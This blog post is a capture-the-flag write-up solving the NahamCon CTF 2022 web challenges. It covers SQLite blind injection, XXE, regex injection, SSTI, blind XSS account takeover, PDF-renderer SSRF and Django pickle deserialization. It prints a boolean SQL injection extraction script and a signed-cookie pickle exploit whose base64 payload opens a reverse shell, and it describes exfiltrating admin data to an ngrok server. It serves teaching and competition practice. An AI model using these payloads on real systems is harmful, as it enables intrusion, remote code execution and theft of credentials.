NahamCon CTF 2022 — Web Exploitation — All Challenges — Writeup

·

17 min read

NahamCon CTF 2022 — Web Exploitation — All Challenges — Writeup

Hello my name is rootjkqsta. I am Bug Bounty Hunter, Web App Pentester, Security Researcher and CTF player. So I was thinking why not to post NahamCon CTF 2022 writeup and I posted every Web Exploitation challenge. Hope you enjoy my writeup. I spent whole night to post this writeup. Enjoy!

nahamcon.png

Flaskmetal Alchemist ( Medium)

nahamcon - writeup - 1.png

So we have a flaskmetal in the description.

nahamcon - writeup - 2.png

First we downloaded file and started doing source code analysis. There’s 4 python scripts btw. But wait let’s check the requirements.txt

nahamcon - writeup - 3.png

requirements.txt has the version of the library download when we use pip3 install -r requirements.txt

Do you remember from the code that we have the option to control the value of order_by ‘s value.

nahamcon - writeup - 4.png

Frustrating thing here was finding a way to cause a time delay as SQLite doesn’t have a built-in sleep function like sleep() in MySQL or waitfor delay in MSSQL.

So, the PoC takes advantage of the function randomblob() that will generate a random byte string with a length specified as an integer parameter. We generate 200000000 bytes which will cause a time delay of approximately 4 seconds in case the condition returns true, and 10000 bytes in case it returns false, which won’t cause any time delays.

nahamcon - writeup - 5.png

We forgot to say about this website. There’s really nothing tho. Only Atomic numbers,symbols and names.

Let’s submit the requests.

nahamcon - writeup - 6.png

Response is 200 OK. If we now try to set order to the true payload like CASE WHEN 1=1 THEN atomic_number ELSE name END, we can see that the first element returned is Lithium. When we then invert the condition to something false like 1=2 we get Actinium, meaning our condition is actually evaluated by the server. Now we can use this condition to get the flag. We could try and parse the whole HTML response to look at what metals were returned. But since the response is always the same for a true condition, and always the same for a false condition, we can just save a hash like md5 of both responses and compare them when we get a response. Then we know what hash corresponds to what type of response, without having to deal with parsing HTML. I made a simple web() function to test if a certain condition is true or false. Then we can use this function to get the flag.

import requests
import hashlibresponse_hashes = {
    "e2fb495676eaaf27370dbd589e978f47": True,
    "1083077c3a0c71ac9d876a3ed5e0eb4c": False
}def md5(text):
    return hashlib.md5(text.encode()).hexdigest()def test(condition):
    data = {
        "search": "ium",
        "order": f"CASE WHEN {condition} THEN atomic_number ELSE name END"
    }    r = requests.post("http://challenge.nahamcon.com:30974/", data=data)

    return response_hashes[md5(r.text)]print(test("1=1"))  # True
print(test("1=2"))  # False

We can look a bit to see how we could exfiltrate the data with a boolean injection in SQLite. On PayloadsAllTheThings on Github I found a simple way of doing it with a subquery like this:

(SELECT substr(flag,{index},1) FROM flag) = '{character}'

Where for each index of the flag, we try all possible characters and compare them. We keep going for all indexes until we have the whole string. We can do this in python:

ALPHABET = "{}_abcdefghijklmnopqrstuvwxyz"  # Flag format is flag{letters_with_underscores}i = 1
flag = ""
while True:  # For all indexes
    for c in ALPHABET:  # For all characters
        if test(f"(SELECT substr(flag,{i},1) FROM flag) = '{c}'"):
            # Found true condition
            flag += c
            print(flag)
            break
    else:  # If no character was found, stop
        break
    i += 1

EXtravagant (Easy)

Hello I am back again. Let’s start talking right now since I’m really tired.

nahamcon - writeup - 7.png

So this is the challenge. It’s about XML parsing service. I am happy because they added something about XXEi. Let’s visit the URL of the challenge.

nahamcon - writeup - 8.png

So everything’s useless but our important thing is that we can upload XML file and read files. That’s Trial and View XML. You can clearly see it.

Let’s send request to the /upload endpoint.

nahamcon - writeup - 9.png

It says upload sucessful which is 200 OK. But wait we can do that without burp suite lmao. Why am I using burp suite.

nahamcon - writeup - 10.png

So let’s submit.

nahamcon - writeup - 11.png

Alright we can see it’s /etc/passwd file. But in challenge description we could see that flag is stored in /var/www

Let’s re-write the following file:

nahamcon - writeup - 12.png

So what I did? I changed to /var/www/flag.txt instead of /etc/passwd because we don’t need /etc/passwd anymore and now we need flag.

So let’s upload the file:

nahamcon - writeup - 13.png

Alright it was succesful. Now let’s read the file:

nahamcon - writeup - 14.png

And yeah pretty nice challenge with XXEi ( XML External Entity Injection). Pretty easy.

Personnel Lookup (Easy)

Hello guys I am back to posting another NahamCon CTF challenge. It’s about Web again so let’s start talking.

nahamcon - writeup - 15.png

So we have a python file there. Let’s download it and open in our visual studio code. But first let’s access to the website.

nahamcon - writeup - 16.png

Hm interesting this is like some lookup for users. Let’s check that python file. Obviously we need to do source code analysis.

nahamcon - writeup - 17.png

It seems like this code runs upon sending a request to the endpoint / either using GET or POST method. So, let’s try to submit a request to see how the web app responds.

nahamcon - writeup - 18.png

So I typed my name as a rootjkqsta and sent request. Response was 200 OK but if you scroll down, you will se Sorry! No results were found. So what does this means? It means that it’s using re.findall() method to search for matches in the name we submit in our request. Notice that the name parameter’s value is embedded into the pattern the regex uses to filter out the results. Let’s inject * and see what response are we gonna get.

nahamcon - writeup - 19.png

Response is 500 Internal server error. The pattern was [A-Z][a-z]?[a-z]?\n . Given that the injected is placed after ? mark, it’s normal to get the error we got in the response. But if we can inject into a regex, then we have the chance of telling the findall() method to return all the results at once including the flag. Using .*

nahamcon - writeup - 20.png

It returned a lot of results, but there’s no flag only some users. But didn’t you know that setting value is a flag that modifies the standard behavior of the pattern. They all start with a capital letter, but our flag starts with a small letter. In order to get the flag, we need to tell the pattern to ignore the case of the characters in the users string. Note that re.I means ignore case, but since the code only accepts numerical values, we need to give re.I as 2 .

nahamcon - writeup - 21.png

Change setting from 0 to 2 and name from to . and send request.

nahamcon - writeup - 22.png

And that is it. flag is here. RCE was really easy lol.

DeafCon ( Hard)

nahamcon - writeup - 23.png

Hello guys I am back to posting writeup but now about this tournament NahamCon CTF 2022. It was pretty fun. So let’s start talking.

nahamcon - writeup - 24.png

Alright so I entered my name and my email. And it lead us to the PDF file. And It’s something about ticket. In PDF it is possible to inject server-side XSS and escalate it to the SSRF. I tried injecting XSS but it didn’t worked nor can you escalate it to the SSRF. But however many people thought it was about email bypasses when they tried to inject XSS. No It’s not, you will always get 400 response code. Many of them tried CLRF Injection and etc. So I was in that position too. But let’s think PDF generator and email parser might be vulnerable to SSTI.

So basically SSTI could lead us to the RCE. So It is a unicode normalization.

I was trying a lot of filter bypasses, It’s a blackbox approach after all so you never know what can work on the backend side. So I noticed that some special characters are getting parsed and normalized when generated by the PDF generator.

By reading about some filter bypasses, I stumbled upon a Unicode normalization filter bypass. So that should work and bypass the parenthesis. Special characters are normalized after the PDF generation.

So I injected the final SSTI payload with the Unicode normalized parenthesis and I got RCE.

nahamcon - writeup - 25.png

SSTI Weaponization without spacebars

Another problem is that RFC-5322 does not accept spacebars in the email regex. We can do to get around this web shell, then pass any command we want to execute into it and get the flag.

nahamcon - writeup - 26.png

So let’s list a files and there’s flag.txt let’s cat it.

nahamcon - writeup - 27.png

nahamcon - writeup - 28.png

And yeah we got RCE and flag is here. This nahamcon challenge was awesome it was rated as a hard one. But for me it is easy one lmao. Hope you enjoyed and hope you learned something.

Jurassic Park

nahamcon - writeup - 29.png

This is the challenge. You can see It’s about portfolio. Let’s access to the given URL.

nahamcon - writeup - 30.png

You can click nothing at all. But let’s remember some web basics 101. What is the first directory that we should check? Obviously it is robots.txt. Let’s check it.

nahamcon - writeup - 31.png

Okay there’s /ingen/ let’s check it.

nahamcon - writeup - 32.png

And lead us to the index of /ingen and there’s flag.txt. This directory traversal is fun.

nahamcon - writeup - 33.png

And that is it. Flag is here. Hope you enjoyed.

Two For One

nahamcon - writeup - 34.png

So you can see description, it’s not useful. And there’s no source code analysis hm okay.

nahamcon - writeup - 35.png

So I accessed to the given URL. And It is login page and there’s a 2FA OTP. Well I have google authenticator so yeah, it won’t be problem.

nahamcon - writeup - 36.png

So I created my account there. However I had some errors with this challenge I changed many accounts because message was always saying error and error…

nahamcon - writeup - 37.png

So when you create a account you will get this QR. Honestly scan it with google authenticator.

nahamcon - writeup - 38.png

As you can see I had errors so I had to switch accounts like I said. So in response we have this otpauth, but this secret is our secret actually of our account. We need admin’s secret. You might start thinking like me for XSS, stealing cookies lol.

nahamcon - writeup - 39.png

So when I logined in to my account. I saw this. Let’s create new secret.

nahamcon - writeup - 40.png

Alright I typed flag as a name and our value will be I typed this as a value because I want to see is it gonna be executed as a JavaScript code. If It gets executed then we can confirm XSS.

nahamcon - writeup - 41.png

Nope It is not executed. Let’s intercept this request in burp suite.

nahamcon - writeup - 42.png

So It takes OTP one time pass. And secret id will return value obviously.

nahamcon - writeup - 43.png

First you will need to got the settings and change 2FA OTP to the -2 and scroll down to the feedback. So I typed this payload. But I started my http.server and ngrok with our 8000 port to see are we gonna get anything after sending the feedback. If we get connection that means we can inject some JavaScript or we can create link a to JavaScript. So let’s see it.

nahamcon - writeup - 44.png

As you can see it was executed. And change in the settings 2FA OTP to the -3 btw. And under that we can see option Reset 2FA. Let’s intercept that in our burp suite. Btw when you click it will give you some QR code.

nahamcon - writeup - 45.png

Alright I sent request and this is what we got as a response. So It didn’t took any parameters, we have our cookie but our response is otpauth again, so this is the URL we’ll be stealing from the admin using that blind XSS vulnerability we discovered in the feedback submission form.

nahamcon - writeup - 46.png

This will be our JavaScript code. So here in this code we have a XMLHttpRequest which is set up here and we will make a POST request to the 2FA we intercepted that in our burp suite, just scroll up. We got a credentials set as a true. And we are gonna exfil train the response so we will get a response in base64 decode, we will create a new request and we will send back to the our ngrok server. Btw don’t forget to update your URL in this code. And update your ngrok address as well. So basically in feedback remove that exploit.js and add 2fa_exfil.js and then submit it.

nahamcon - writeup - 47.png

nahamcon - writeup - 48.png

So it made a request basically we got a response in our ngrok and our http.server, response is 200 OK which is good, but take a look at the http.server just look that flag which is base64 encoded secret. So let’s decode it.

nahamcon - writeup - 49.png

So as you can see we got a new secret. Add that secret to the google authenticator as a Fort Knox. That means that we have admin OTP, let’s use it with the XSS vuln to reset the password and achieve full account takeover.

nahamcon - writeup - 50.png

So this is our new code for new password. Basically we will be able to reset admin’s password. You can take a look at view page source and password,password2,otp will be our parameters also make sure we have in JSON format we have set as JSON stringify. So why did I put password and password2 as a admin? So this will automatically update admin’s password to admin password. And we need to set OTP quickly before new OTP re-generates. Dont’t forget to update your ngrok address and port! So remove 2fa.js and change it to the reset_password.js then submit it. And update OTP before sending feedback like I said once. So I had errors again for no reason. So since this is the last part let me explain this in the text. After you submit new feedback you will get something in your http.server. You should get a flag and it will be base64 encoded again. So you will need to decode it. And when you decode it, response should be success not fail. So this means that OTP is valid and we reset the password. Just logout and put admin as a username and admin as a password and put OTP and when you log to the admin’s account click on secret and enter OTP code again and that is it, you will get a flag. This challenge was interesting not gonna lie.

Hacker Ts ( Hard)

nahamcon - writeup - 51.png

Okay description is about Hacker T-shirts. So let’s access to the given URL.

nahamcon - writeup - 52.png

This looks like an CMD Injection lol but it’s not. If we type any command like rootjkqsta example it will write on t-shirt ‘rootjkqsta’ and that is it.

But look in the corner something named as a admin hm.

nahamcon - writeup - 53.png

Alright you can’t access to admin. It says forbidden and there’s localhost:5000. Maybe we can trick the system that we are that location.

So let’s type simple JavaScript code for XSS.

nahamcon - writeup - 54.png

So we didn’t got a alert. Let’s try with document.write

nahamcon - writeup - 55.png

nahamcon - writeup - 56.png

So I put 133 and it gave us 133 on the t-shirt. Let’s do research on google.

nahamcon - writeup - 57.png

Okay I found hacktricks page. Here’s the linkhttps://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf

Let’s paste that first one that we coppied.

nahamcon - writeup - 58.png

nahamcon - writeup - 59.png

It does works. We have a tmp directory, pathname, hostname, protocol..

nahamcon - writeup - 60.png

Let’s try this one with

nahamcon - writeup - 61.png

nahamcon - writeup - 62.png

This is the

Let’s try to add /admin

nahamcon - writeup - 63.png

nahamcon - writeup - 64.png

We got a error and it is telling us that there’s a problem generating PNG and wkhtmltoimage is being used. The reason why did we got error was because it was appended to the admin which we didn’t append to the window.href.location and it is not valid. But what about having our

nahamcon - writeup - 65.png

nahamcon - writeup - 66.png

Now our message is blocked access to file. It is not possible to access to the admin page. But what if we try to put there localhost:5000/admin

nahamcon - writeup - 67.png

nahamcon - writeup - 68.png

And we got a another error. Now we got a parse error. But let’s try with ngrok. First let’s set up our http.server and now let’s use ngrok.

nahamcon - writeup - 69.png

So I loaded script from source and typed my ngrok address and was using exploit.js. And when we submit that we won’t get anything but let’s look what we got in our http.server

nahamcon - writeup - 70.png

So we got this exploit.js file, let’s write that exploit.js so it might be get executed.

nahamcon - writeup - 71.png

So we will be using same payload script src= bc server will load this JavaScript and then it’s gonna start executing. But what is it gonna execute? It is gonna creat new XMLHttpRequest and It’s gonna request to the localhost to the admin page and once this page is onload we will get response text and then base64 encode and it will create new HttpRequest and make request to our ngrok server with the result of the previous response and finally send it. And this last line it will send this request to the top xhr.open, it’s gonna wait for onload, once the page is loaded it’s gonna send another HttpRequest to our local server and with flag obviously. So let’s submit it.

nahamcon - writeup - 72.png

And we got a base64 encoded flag. So decode it in burp suite if you want. And that is it. our JavaScript exploit is executed and yeah there’s a CORS.

Poller (Hard)

nahamcon - writeup - 73.png

So challenge description is useless again lol and there’s no source code analysis again lol. Let’s access to the given URL.

nahamcon - writeup - 74.png

So it is login page again. First I signed up and then logined to my account.

nahamcon - writeup - 75.png

It’s some questions lol. Like flash cards lmao. First I was thinking is this challenge gonna be about SSTI again or SQLi or about CSRF.

Let’s view page source.

nahamcon - writeup - 76.png

Hm look down there. You can see there’s a github link, interesting right? Let’s check that github link.

nahamcon - writeup - 77.png

Oh yeah It’s about Django, if you didn’t know what is Django, well now you will, basically Django is python framework but high level framework like Laravel framework but Laravel is PHP framework and It’s like really “secured” when It’s not and Django is not secured either.

nahamcon - writeup - 78.png

So after some research I found this right one secret key, there were fake one secret key btw. So we need to craft our exploit. Here’s the solution since I’m really tired.

import os
import django.core.signing
import pickle
import base64
import django.contrib.sessions.serializers as serializers

SECRET_KEY = '77m6p#v&(wk_s2+n5na-bqe!m)^zu)9typ#0c&@qd%8o6!'
salt = 'django.contrib.sessions.backends.signed_cookies'

class Command(object):
    def __reduce__(self):
        return (os.system,("echo cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiW0ldIiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9zaCIpJwo= | base64 -d | sh",)) # Decode string base64 and change to your IP vps

my_cookie= django.core.signing.dumps(Command(),key=SECRET_KEY,salt= salt, serializer=serializers.PickleSerializer,compress=True)

print(my_cookie)

Start nc -lvnp 444 in your VPS and change above cookie to sessionid. And that is it you will get RCE. And flag is yours.

README

I think y’all will enjoy reading this NahamCon CTF 2022 writeup that I posted. I wasted whole night to post for you guys. Take a care, have a good night and see you. Also If you are stucked somewhere you can contact me on my twitter: @rootjkqsta and peace out. Btw this is a re-post from my medium website. Here's my medium website + link of the nahamcon CTF 2022 and there's over than 2k views.

https://medium.com/@0x1rootjkqsta/nahamcon-ctf-2022-web-exploitation-all-challenges-writeup-2f36f49e0740